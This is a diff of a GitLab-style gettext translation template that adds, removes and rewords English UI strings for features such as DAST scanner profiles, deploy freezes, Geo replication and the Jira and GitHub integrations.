msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
